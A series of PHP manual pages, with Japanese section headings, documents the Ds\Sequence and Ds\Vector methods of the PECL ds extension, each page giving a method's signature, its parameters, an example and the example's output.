abstract public Ds\Sequence::insert ( int $index , mixed ...$values ) : void

Inserts values into the sequence at a given index.

パラメータ

index

The index at which to insert. 0 <= index <= count

注意:

You can insert at the index equal to the number of values.

values

The value or values to insert.

返り値

値を返しません。

エラー / 例外

OutOfRangeException if the index is not valid.

例

例1 Ds\Sequence::insert() example

<?php
$sequence = new \Ds\Vector();

$sequence->insert(0, "e");             // [e]
$sequence->insert(1, "f");             // [e, f]
$sequence->insert(2, "g");             // [e, f, g]
$sequence->insert(0, "a", "b");        // [a, b, e, f, g]
$sequence->insert(2, ...["c", "d"]);   // [a, b, c, d, e, f, g]

var_dump($sequence);
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Vector)#1 (7) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "e"
  [5]=>
  string(1) "f"
  [6]=>
  string(1) "g"
}

User Contributed Notes

There are no user contributed notes for this page.


Joins all values together as a string

  • ≪ Ds\Sequence::insert
  • Ds\Sequence::last ≫
  • PHP Manual
  • Sequence
  • Joins all values together as a string

Ds\Sequence::join

(PECL ds >= 1.0.0)

Ds\Sequence::join — Joins all values together as a string

説明

abstract public Ds\Sequence::join ( string $glue = ? ) : string

Joins all values together as a string using an optional separator between each value.

パラメータ

glue

An optional string to separate each value.

返り値

All values of the sequence joined together as a string.

例

例1 Ds\Sequence::join() example using a separator string

<?php
$sequence = new \Ds\Vector(["a", "b", "c", 1, 2, 3]);

var_dump($sequence->join("|"));
?>

上の例の出力は、 たとえば以下のようになります。

string(11) "a|b|c|1|2|3"

例2 Ds\Sequence::join() example without a separator string

<?php
$sequence = new \Ds\Vector(["a", "b", "c", 1, 2, 3]);

var_dump($sequence->join());
?>

上の例の出力は、 たとえば以下のようになります。

string(11) "abc123"

User Contributed Notes

There are no user contributed notes for this page.


Returns the last value

  • ≪ Ds\Sequence::join
  • Ds\Sequence::map ≫
  • PHP Manual
  • Sequence
  • Returns the last value

Ds\Sequence::last

(PECL ds >= 1.0.0)

Ds\Sequence::last — Returns the last value

説明

abstract public Ds\Sequence::last ( ) : mixed

Returns the last value in the sequence.

パラメータ

この関数にはパラメータはありません。

返り値

The last value in the sequence.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Sequence::last() example

<?php
$sequence = new \Ds\Vector([1, 2, 3]);
var_dump($sequence->last());
?>

上の例の出力は、 たとえば以下のようになります。

int(3)

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of applying a callback to each value

  • ≪ Ds\Sequence::last
  • Ds\Sequence::merge ≫
  • PHP Manual
  • Sequence
  • Returns the result of applying a callback to each value

Ds\Sequence::map

(PECL ds >= 1.0.0)

Ds\Sequence::map — Returns the result of applying a callback to each value

説明

abstract public Ds\Sequence::map ( callable $callback ) : Ds\Sequence

Returns the result of applying a callback function to each value in the sequence.

パラメータ

callback

callback ( mixed $value ) : mixed

A callable to apply to each value in the sequence.

The callable should return what the new value will be in the new sequence.

返り値

The result of applying a callback to each value in the sequence.

注意:

The values of the current instance won't be affected.

例

例1 Ds\Sequence::map() example

<?php
$sequence = new \Ds\Vector([1, 2, 3]);

print_r($sequence->map(function($value) { return $value * 2; }));
print_r($sequence);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => 2
    [1] => 4
    [2] => 6
)
Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of adding all given values to the sequence

  • ≪ Ds\Sequence::map
  • Ds\Sequence::pop ≫
  • PHP Manual
  • Sequence
  • Returns the result of adding all given values to the sequence

Ds\Sequence::merge

(PECL ds >= 1.0.0)

Ds\Sequence::merge — Returns the result of adding all given values to the sequence

説明

abstract public Ds\Sequence::merge ( mixed $values ) : Ds\Sequence

Returns the result of adding all given values to the sequence.

パラメータ

values

A traversable object or an array.

返り値

The result of adding all given values to the sequence, effectively the same as adding the values to a copy, then returning that copy.

注意:

The current instance won't be affected.

例

例1 Ds\Sequence::merge() example

<?php
$sequence = new \Ds\Vector([1, 2, 3]);

var_dump($sequence->merge([4, 5, 6]));
var_dump($sequence);
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Vector)#2 (6) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [3]=>
  int(4)
  [4]=>
  int(5)
  [5]=>
  int(6)
}
object(Ds\Vector)#1 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns the last value

  • ≪ Ds\Sequence::merge
  • Ds\Sequence::push ≫
  • PHP Manual
  • Sequence
  • Removes and returns the last value

Ds\Sequence::pop

(PECL ds >= 1.0.0)

Ds\Sequence::pop — Removes and returns the last value

説明

abstract public Ds\Sequence::pop ( ) : mixed

Removes and returns the last value.

パラメータ

この関数にはパラメータはありません。

返り値

The removed last value.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Sequence::pop() example

<?php
$sequence = new \Ds\Vector([1, 2, 3]);

var_dump($sequence->pop());
var_dump($sequence->pop());
var_dump($sequence->pop());
?>

上の例の出力は、 たとえば以下のようになります。

int(3)
int(2)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Adds values to the end of the sequence

  • ≪ Ds\Sequence::pop
  • Ds\Sequence::reduce ≫
  • PHP Manual
  • Sequence
  • Adds values to the end of the sequence

Ds\Sequence::push

(PECL ds >= 1.0.0)

Ds\Sequence::push — Adds values to the end of the sequence

説明

abstract public Ds\Sequence::push ( mixed ...$values ) : void

Adds values to the end of the sequence.

パラメータ

values

The values to add.

返り値

値を返しません。

例

例1 Ds\Sequence::push() example

<?php
$sequence = new \Ds\Vector();

$sequence->push("a");
$sequence->push("b");
$sequence->push("c", "d");
$sequence->push(...["e", "f"]);

print_r($sequence);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
    [4] => e
    [5] => f
)

User Contributed Notes

There are no user contributed notes for this page.


Reduces the sequence to a single value using a callback function

  • ≪ Ds\Sequence::push
  • Ds\Sequence::remove ≫
  • PHP Manual
  • Sequence
  • Reduces the sequence to a single value using a callback function

Ds\Sequence::reduce

(PECL ds >= 1.0.0)

Ds\Sequence::reduce — Reduces the sequence to a single value using a callback function

説明

abstract public Ds\Sequence::reduce ( callable $callback , mixed $initial = ? ) : mixed

Reduces the sequence to a single value using a callback function.

パラメータ

callback
callback ( mixed $carry , mixed $value ) : mixed
carry

The return value of the previous callback, or initial if it's the first iteration.

value

The value of the current iteration.

initial

The initial value of the carry value. Can be null.

返り値

The return value of the final callback.

例

例1 Ds\Sequence::reduce() with initial value example

<?php
$sequence = new \Ds\Vector([1, 2, 3]);

$callback = function($carry, $value) {
    return $carry * $value;
};

var_dump($sequence->reduce($callback, 5));

// Iterations:
//
// $carry = $initial = 5
//
// $carry = $carry * 1 =  5
// $carry = $carry * 2 = 10
// $carry = $carry * 3 = 30
?>

上の例の出力は、 たとえば以下のようになります。

int(30)

例2 Ds\Sequence::reduce() without an initial value example

<?php
$sequence = new \Ds\Vector([1, 2, 3]);

var_dump($sequence->reduce(function($carry, $value) {
    return $carry + $value + 5;
}));

// Iterations:
//
// $carry = $initial = null
//
// $carry = $carry + 1 + 5 =  6
// $carry = $carry + 2 + 5 = 13
// $carry = $carry + 3 + 5 = 21
?>

上の例の出力は、 たとえば以下のようになります。

int(21)

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns a value by index

  • ≪ Ds\Sequence::reduce
  • Ds\Sequence::reverse ≫
  • PHP Manual
  • Sequence
  • Removes and returns a value by index

Ds\Sequence::remove

(PECL ds >= 1.0.0)

Ds\Sequence::remove — Removes and returns a value by index

説明

abstract public Ds\Sequence::remove ( int $index ) : mixed

Removes and returns a value by index.

パラメータ

index

The index of the value to remove.

返り値

The value that was removed.

エラー / 例外

OutOfRangeException if the index is not valid.

例

例1 Ds\Sequence::remove() example

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

var_dump($sequence->remove(1));
var_dump($sequence->remove(0));
var_dump($sequence->remove(0));
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "b"
string(1) "a"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Reverses the sequence in-place

  • ≪ Ds\Sequence::remove
  • Ds\Sequence::reversed ≫
  • PHP Manual
  • Sequence
  • Reverses the sequence in-place

Ds\Sequence::reverse

(PECL ds >= 1.0.0)

Ds\Sequence::reverse — Reverses the sequence in-place

説明

abstract public Ds\Sequence::reverse ( ) : void

Reverses the sequence in-place.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 Ds\Sequence::reverse() example

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);
$sequence->reverse();

print_r($sequence);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => c
    [1] => b
    [2] => a
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a reversed copy

  • ≪ Ds\Sequence::reverse
  • Ds\Sequence::rotate ≫
  • PHP Manual
  • Sequence
  • Returns a reversed copy

Ds\Sequence::reversed

(PECL ds >= 1.0.0)

Ds\Sequence::reversed — Returns a reversed copy

説明

abstract public Ds\Sequence::reversed ( ) : Ds\Sequence

Returns a reversed copy of the sequence.

パラメータ

この関数にはパラメータはありません。

返り値

A reversed copy of the sequence.

注意:

The current instance is not affected.

例

例1 Ds\Sequence::reversed() example

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

print_r($sequence->reversed());
print_r($sequence);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => c
    [1] => b
    [2] => a
)
Ds\Vector Object
(
    [0] => a
    [1] => b
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Rotates the sequence by a given number of rotations

  • ≪ Ds\Sequence::reversed
  • Ds\Sequence::set ≫
  • PHP Manual
  • Sequence
  • Rotates the sequence by a given number of rotations

Ds\Sequence::rotate

(PECL ds >= 1.0.0)

Ds\Sequence::rotate — Rotates the sequence by a given number of rotations

説明

abstract public Ds\Sequence::rotate ( int $rotations ) : void

Rotates the sequence by a given number of rotations, which is equivalent to successively calling $sequence->push($sequence->shift()) if the number of rotations is positive, or $sequence->unshift($sequence->pop()) if negative.

パラメータ

rotations

The number of times the sequence should be rotated.

返り値

値を返しません。. The sequence of the current instance will be rotated.

例

例1 Ds\Sequence::rotate() example

<?php
$sequence = new \Ds\Vector(["a", "b", "c", "d"]);

$sequence->rotate(1);  // "a" is shifted, then pushed.
print_r($sequence);

$sequence->rotate(2);  // "b" and "c" are both shifted, the pushed.
print_r($sequence);
?>

上の例の出力は、 たとえば以下のようになります。

(
    [0] => b
    [1] => c
    [2] => d
    [3] => a
)
Ds\Vector Object
(
    [0] => d
    [1] => a
    [2] => b
    [3] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Updates a value at a given index

  • ≪ Ds\Sequence::rotate
  • Ds\Sequence::shift ≫
  • PHP Manual
  • Sequence
  • Updates a value at a given index

Ds\Sequence::set

(PECL ds >= 1.0.0)

Ds\Sequence::set — Updates a value at a given index

説明

abstract public Ds\Sequence::set ( int $index , mixed $value ) : void

Updates a value at a given index.

パラメータ

index

The index of the value to update.

value

The new value.

返り値

値を返しません。

エラー / 例外

OutOfRangeException if the index is not valid.

例

例1 Ds\Sequence::set() example

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

$sequence->set(1, "_");
print_r($sequence);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => a
    [1] => _
    [2] => c
)

例2 Ds\Sequence::set() example using array syntax

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

$sequence[1] = "_";
print_r($sequence);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => a
    [1] => _
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns the first value

  • ≪ Ds\Sequence::set
  • Ds\Sequence::slice ≫
  • PHP Manual
  • Sequence
  • Removes and returns the first value

Ds\Sequence::shift

(PECL ds >= 1.0.0)

Ds\Sequence::shift — Removes and returns the first value

説明

abstract public Ds\Sequence::shift ( ) : mixed

Removes and returns the first value.

パラメータ

この関数にはパラメータはありません。

返り値

The first value, which was removed.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Sequence::shift() example

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

var_dump($sequence->shift());
var_dump($sequence->shift());
var_dump($sequence->shift());
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Returns a sub-sequence of a given range

  • ≪ Ds\Sequence::shift
  • Ds\Sequence::sort ≫
  • PHP Manual
  • Sequence
  • Returns a sub-sequence of a given range

Ds\Sequence::slice

(PECL ds >= 1.0.0)

Ds\Sequence::slice — Returns a sub-sequence of a given range

説明

abstract public Ds\Sequence::slice ( int $index , int $length = ? ) : Ds\Sequence

Creates a sub-sequence of a given range.

パラメータ

index

The index at which the sub-sequence starts.

If positive, the sequence will start at that index in the sequence. If negative, the sequence will start that far from the end.

length

If a length is given and is positive, the resulting sequence will have up to that many values in it. If the length results in an overflow, only values up to the end of the sequence will be included. If a length is given and is negative, the sequence will stop that many values from the end. If a length is not provided, the resulting sequence will contain all values between the index and the end of the sequence.

返り値

A sub-sequence of the given range.

例

例1 Ds\Sequence::slice() example

<?php
$sequence = new \Ds\Vector(["a", "b", "c", "d", "e"]);

// Slice from 2 onwards
print_r($sequence->slice(2));

// Slice from 1, for a length of 3
print_r($sequence->slice(1, 3));

// Slice from 1 onwards
print_r($sequence->slice(1));

// Slice from 2 from the end onwards
print_r($sequence->slice(-2));

// Slice from 1 to 1 from the end
print_r($sequence->slice(1, -1));
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => c
    [1] => d
    [2] => e
)
Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => d
)
Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => d
    [3] => e
)
Ds\Vector Object
(
    [0] => d
    [1] => e
)
Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => d
)

User Contributed Notes

There are no user contributed notes for this page.


Sorts the sequence in-place

  • ≪ Ds\Sequence::slice
  • Ds\Sequence::sorted ≫
  • PHP Manual
  • Sequence
  • Sorts the sequence in-place

Ds\Sequence::sort

(PECL ds >= 1.0.0)

Ds\Sequence::sort — Sorts the sequence in-place

説明

abstract public Ds\Sequence::sort ( callable $comparator = ? ) : void

Sorts the sequence in-place, using an optional comparator function.

パラメータ

comparator

比較関数は、最初の引数と二番目の引数の比較結果を返します。最初の引数のほうが二番目の引数より大きい場合は正の数を、二番目の引数と等しい場合はゼロを、そして二番目の引数より小さい場合は負の数を返す必要があります。

callback ( mixed $a, mixed $b ) : int
警告

Returning non-integer values from the comparison function, such as float, will result in an internal cast to int of the callback's return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal.

返り値

値を返しません。

例

例1 Ds\Sequence::sort() example

<?php
$sequence = new \Ds\Vector([4, 5, 1, 3, 2]);
$sequence->sort();

print_r($sequence);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

例2 Ds\Sequence::sort() example using a comparator

<?php
$sequence = new \Ds\Vector([4, 5, 1, 3, 2]);

$sequence->sort(function($a, $b) {
    return $b <=> $a;
});

print_r($sequence);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a sorted copy

  • ≪ Ds\Sequence::sort
  • Ds\Sequence::sum ≫
  • PHP Manual
  • Sequence
  • Returns a sorted copy

Ds\Sequence::sorted

(PECL ds >= 1.0.0)

Ds\Sequence::sorted — Returns a sorted copy

説明

abstract public Ds\Sequence::sorted ( callable $comparator = ? ) : Ds\Sequence

Returns a sorted copy, using an optional comparator function.

パラメータ

comparator

比較関数は、最初の引数と二番目の引数の比較結果を返します。最初の引数のほうが二番目の引数より大きい場合は正の数を、二番目の引数と等しい場合はゼロを、そして二番目の引数より小さい場合は負の数を返す必要があります。

callback ( mixed $a, mixed $b ) : int
警告

Returning non-integer values from the comparison function, such as float, will result in an internal cast to int of the callback's return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal.

返り値

Returns a sorted copy of the sequence.

例

例1 Ds\Sequence::sorted() example

<?php
$sequence = new \Ds\Vector([4, 5, 1, 3, 2]);

print_r($sequence->sorted());
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

例2 Ds\Sequence::sorted() example using a comparator

<?php
$sequence = new \Ds\Vector([4, 5, 1, 3, 2]);

$sorted = $sequence->sorted(function($a, $b) {
    return $b <=> $a;
});

print_r($sorted);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the sum of all values in the sequence

  • ≪ Ds\Sequence::sorted
  • Ds\Sequence::unshift ≫
  • PHP Manual
  • Sequence
  • Returns the sum of all values in the sequence

Ds\Sequence::sum

(PECL ds >= 1.0.0)

Ds\Sequence::sum — Returns the sum of all values in the sequence

説明

abstract public Ds\Sequence::sum ( ) : int|float

Returns the sum of all values in the sequence.

注意:

Arrays and objects are considered equal to zero when calculating the sum.

パラメータ

この関数にはパラメータはありません。

返り値

The sum of all the values in the sequence as either a float or int depending on the values in the sequence.

例

例1 Ds\Sequence::sum() integer example

<?php
$sequence = new \Ds\Vector([1, 2, 3]);
var_dump($sequence->sum());
?>

上の例の出力は、 たとえば以下のようになります。

int(6)

例2 Ds\Sequence::sum() float example

<?php
$sequence = new \Ds\Vector([1, 2.5, 3]);
var_dump($sequence->sum());
?>

上の例の出力は、 たとえば以下のようになります。

float(6.5)

User Contributed Notes

There are no user contributed notes for this page.


Adds values to the front of the sequence

  • ≪ Ds\Sequence::sum
  • Vector ≫
  • PHP Manual
  • Sequence
  • Adds values to the front of the sequence

Ds\Sequence::unshift

(PECL ds >= 1.0.0)

Ds\Sequence::unshift — Adds values to the front of the sequence

説明

abstract public Ds\Sequence::unshift ( mixed $values = ? ) : void

Adds values to the front of the sequence, moving all the current values forward to make room for the new values.

パラメータ

values

The values to add to the front of the sequence.

注意:

Multiple values will be added in the same order that they are passed.

返り値

値を返しません。

例

例1 Ds\Sequence::unshift() example

<?php
$sequence = new \Ds\Vector([1, 2, 3]);

$sequence->unshift("a");
$sequence->unshift("b", "c");

print_r($sequence);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => a
    [3] => 1
    [4] => 2
    [5] => 3
)

User Contributed Notes

There are no user contributed notes for this page.


The Vector class

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

はじめに

A Vector is a sequence of values in a contiguous buffer that grows and shrinks automatically. It's the most efficient sequential structure because a value's index is a direct mapping to its index in the buffer, and the growth factor isn't bound to a specific multiple or exponent.

Strengths

  • Supports array syntax (square brackets).
  • Uses less overall memory than an array for the same number of values.
  • Automatically frees allocated memory when its size drops low enough.
  • Capacity does not have to be a power of 2.
  • get(),
set(),
push(),
pop() are all O(1).

Weaknesses

  • shift(),
unshift(),
insert() and
remove() are all O(n).

クラス概要

Ds\Vector implements Ds\Sequence , ArrayAccess {
/* Constants */
const int MIN_CAPACITY = 10 ;
/* メソッド */
public allocate ( int $capacity ) : void
public apply ( callable $callback ) : void
public capacity ( ) : int
public clear ( ) : void
public contains ( mixed ...$values ) : bool
public copy ( ) : Ds\Vector
public filter ( callable $callback = ? ) : Ds\Vector
public find ( mixed $value ) : mixed
public first ( ) : mixed
public get ( int $index ) : mixed
public insert ( int $index , mixed ...$values ) : void
public isEmpty ( ) : bool
public join ( string $glue = ? ) : string
public last ( ) : mixed
public map ( callable $callback ) : Ds\Vector
public merge ( mixed $values ) : Ds\Vector
public pop ( ) : mixed
public push ( mixed ...$values ) : void
public reduce ( callable $callback , mixed $initial = ? ) : mixed
public remove ( int $index ) : mixed
public reverse ( ) : void
public reversed ( ) : Ds\Vector
public rotate ( int $rotations ) : void
public set ( int $index , mixed $value ) : void
public shift ( ) : mixed
public slice ( int $index , int $length = ? ) : Ds\Vector
public sort ( callable $comparator = ? ) : void
public sorted ( callable $comparator = ? ) : Ds\Vector
public sum ( ) : int|float
public toArray ( ) : array
public unshift ( mixed $values = ? ) : void
}

定義済み定数

Ds\Vector::MIN_CAPACITY

変更履歴

バージョン | 説明
PECL ds 1.3.0 | The class now implements ArrayAccess.

目次

  • Ds\Vector::allocate — Allocates enough memory for a required capacity
  • Ds\Vector::apply — Updates all values by applying a callback function to each value
  • Ds\Vector::capacity — Returns the current capacity
  • Ds\Vector::clear — Removes all values
  • Ds\Vector::__construct — Creates a new instance
  • Ds\Vector::contains — Determines if the vector contains given values
  • Ds\Vector::copy — Returns a shallow copy of the vector
  • Ds\Vector::count — Returns the number of values in the collection
  • Ds\Vector::filter — Creates a new vector using a callable to determine which values to include
  • Ds\Vector::find — Attempts to find a value's index
  • Ds\Vector::first — Returns the first value in the vector
  • Ds\Vector::get — Returns the value at a given index
  • Ds\Vector::insert — Inserts values at a given index
  • Ds\Vector::isEmpty — Returns whether the vector is empty
  • Ds\Vector::join — Joins all values together as a string
  • Ds\Vector::jsonSerialize — Returns a representation that can be converted to JSON
  • Ds\Vector::last — Returns the last value
  • Ds\Vector::map — Returns the result of applying a callback to each value
  • Ds\Vector::merge — Returns the result of adding all given values to the vector
  • Ds\Vector::pop — Removes and returns the last value
  • Ds\Vector::push — Adds values to the end of the vector
  • Ds\Vector::reduce — Reduces the vector to a single value using a callback function
  • Ds\Vector::remove — Removes and returns a value by index
  • Ds\Vector::reverse — Reverses the vector in-place
  • Ds\Vector::reversed — Returns a reversed copy
  • Ds\Vector::rotate — Rotates the vector by a given number of rotations
  • Ds\Vector::set — Updates a value at a given index
  • Ds\Vector::shift — Removes and returns the first value
  • Ds\Vector::slice — Returns a sub-vector of a given range
  • Ds\Vector::sort — Sorts the vector in-place
  • Ds\Vector::sorted — Returns a sorted copy
  • Ds\Vector::sum — Returns the sum of all values in the vector
  • Ds\Vector::toArray — Converts the vector to an array
  • Ds\Vector::unshift — Adds values to the front of the vector

User Contributed Notes

There are no user contributed notes for this page.


Allocates enough memory for a required capacity

  • ≪ Vector
  • Ds\Vector::apply ≫
  • PHP Manual
  • Vector
  • Allocates enough memory for a required capacity

Ds\Vector::allocate

(PECL ds >= 1.0.0)

Ds\Vector::allocate — Allocates enough memory for a required capacity

説明

public Ds\Vector::allocate ( int $capacity ) : void

Ensures that enough memory is allocated for a required capacity. This removes the need to reallocate the internal as values are added.

パラメータ

capacity

The number of values for which capacity should be allocated.

注意:

Capacity will stay the same if this value is less than or equal to the current capacity.

返り値

値を返しません。

例

例1 Ds\Vector::allocate() example

<?php
$vector = new \Ds\Vector();
var_dump($vector->capacity());

$vector->allocate(100);
var_dump($vector->capacity());
?>

上の例の出力は、 たとえば以下のようになります。

int(10)
int(100)

User Contributed Notes

There are no user contributed notes for this page.


Updates all values by applying a callback function to each value

  • ≪ Ds\Vector::allocate
  • Ds\Vector::capacity ≫
  • PHP Manual
  • Vector
  • Updates all values by applying a callback function to each value

Ds\Vector::apply

(PECL ds >= 1.0.0)

Ds\Vector::apply — Updates all values by applying a callback function to each value

説明

public Ds\Vector::apply ( callable $callback ) : void

Updates all values by applying a callback function to each value in the vector.

パラメータ

callback

callback ( mixed $value ) : mixed

A callable to apply to each value in the vector.

The callback should return what the value should be replaced by.

返り値

値を返しません。

例

例1 Ds\Vector::apply() example

<?php
$vector = new \Ds\Vector([1, 2, 3]);
$vector->apply(function($value) { return $value * 2; });

print_r($vector);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => 2
    [1] => 4
    [2] => 6
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the current capacity

  • ≪ Ds\Vector::apply
  • Ds\Vector::clear ≫
  • PHP Manual
  • Vector
  • Returns the current capacity

Ds\Vector::capacity

(PECL ds >= 1.0.0)

Ds\Vector::capacity — Returns the current capacity

説明

public Ds\Vector::capacity ( ) : int

Returns the current capacity.

パラメータ

この関数にはパラメータはありません。

返り値

The current capacity.

例

例1 Ds\Vector::capacity() example

<?php
$vector = new \Ds\Vector();
var_dump($vector->capacity());

$vector->push(...range(1, 50));
var_dump($vector->capacity());

$vector[] = "a";
var_dump($vector->capacity());
?>

上の例の出力は、 たとえば以下のようになります。

int(10)
int(50)
int(75)

User Contributed Notes

There are no user contributed notes for this page.


Removes all values

  • ≪ Ds\Vector::capacity
  • Ds\Vector::__construct ≫
  • PHP Manual
  • Vector
  • Removes all values

Ds\Vector::clear

(PECL ds >= 1.0.0)

Ds\Vector::clear — Removes all values

説明

public Ds\Vector::clear ( ) : void

Removes all values from the vector.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 Ds\Vector::clear() example

<?php
$vector = new \Ds\Vector([1, 2, 3]);
print_r($vector);

$vector->clear();
print_r($vector);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Vector Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new instance

  • ≪ Ds\Vector::clear
  • Ds\Vector::contains ≫
  • PHP Manual
  • Vector
  • Creates a new instance

Ds\Vector::__construct

(PECL ds >= 1.0.0)

Ds\Vector::__construct — Creates a new instance

説明

public Ds\Vector::__construct ( mixed $values = ? )

Creates a new instance, using either a traversable object or an array for the initial values.

パラメータ

values

A traversable object or an array to use for the initial values.

例

例1 Ds\Vector::__construct() example

<?php
$vector = new \Ds\Vector();
var_dump($vector);

$vector = new \Ds\Vector([1, 2, 3]);
var_dump($vector);
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Vector)#2 (0) {
}
object(Ds\Vector)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Determines if the vector contains given values

  • ≪ Ds\Vector::__construct
  • Ds\Vector::copy ≫
  • PHP Manual
  • Vector
  • Determines if the vector contains given values

Ds\Vector::contains

(PECL ds >= 1.0.0)

Ds\Vector::contains — Determines if the vector contains given values

説明

public Ds\Vector::contains ( mixed ...$values ) : bool

Determines if the vector contains all values.

パラメータ

values

Values to check.

返り値

false if any of the provided values are not in the vector, true otherwise.

例

例1 Ds\Vector::contains() example

<?php
$vector = new \Ds\Vector(['a', 'b', 'c', 1, 2, 3]);

var_dump($vector->contains('a'));                // true
var_dump($vector->contains('a', 'b'));           // true
var_dump($vector->contains('c', 'd'));           // false

var_dump($vector->contains(...['c', 'b', 'a'])); // true

// Always strict
var_dump($vector->contains(1));                  // true
var_dump($vector->contains('1'));                // false

var_dump($sequece->contains(...[]));               // true
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Returns a shallow copy of the vector

  • ≪ Ds\Vector::contains
  • Ds\Vector::count ≫
  • PHP Manual
  • Vector
  • Returns a shallow copy of the vector

Ds\Vector::copy

(PECL ds >= 1.0.0)

Ds\Vector::copy — Returns a shallow copy of the vector

説明

public Ds\Vector::copy ( ) : Ds\Vector

Returns a shallow copy of the vector.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a shallow copy of the vector.

例

例1 Ds\Vector::copy() example

<?php
$a = new \Ds\Vector([1, 2, 3]);
$b = $a->copy();

// Updating the copy doesn't affect the original
$b->push(4);

print_r($a);
print_r($b);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of values in the collection

  • ≪ Ds\Vector::copy
  • Ds\Vector::filter ≫
  • PHP Manual
  • Vector
  • Returns the number of values in the collection

Ds\Vector::count

(PECL ds >= 1.0.0)

Ds\Vector::count — Returns the number of values in the collection

See Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Creates a new vector using a callable to determine which values to include

  • ≪ Ds\Vector::count
  • Ds\Vector::find ≫
  • PHP Manual
  • Vector
  • Creates a new vector using a callable to determine which values to include

Ds\Vector::filter

(PECL ds >= 1.0.0)

Ds\Vector::filter — Creates a new vector using a callable to determine which values to include

説明

public Ds\Vector::filter ( callable $callback = ? ) : Ds\Vector

Creates a new vector using a callable to determine which values to include.

パラメータ

callback

callback ( mixed $value ) : bool

Optional callable which returns true if the value should be included, false otherwise.

If a callback is not provided, only values which are true (see converting to boolean) will be included.

返り値

A new vector containing all the values for which either the callback returned true, or all values that convert to true if a callback was not provided.

例

例1 Ds\Vector::filter() example using callback function

<?php
$vector = new \Ds\Vector([1, 2, 3, 4, 5]);

var_dump($vector->filter(function($value) {
    return $value % 2 == 0;
}));
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Vector)#3 (2) {
  [0]=>
  int(2)
  [1]=>
  int(4)
}

例2 Ds\Vector::filter() example without a callback function

<?php
$vector = new \Ds\Vector([0, 1, 'a', true, false]);

var_dump($vector->filter());
?>

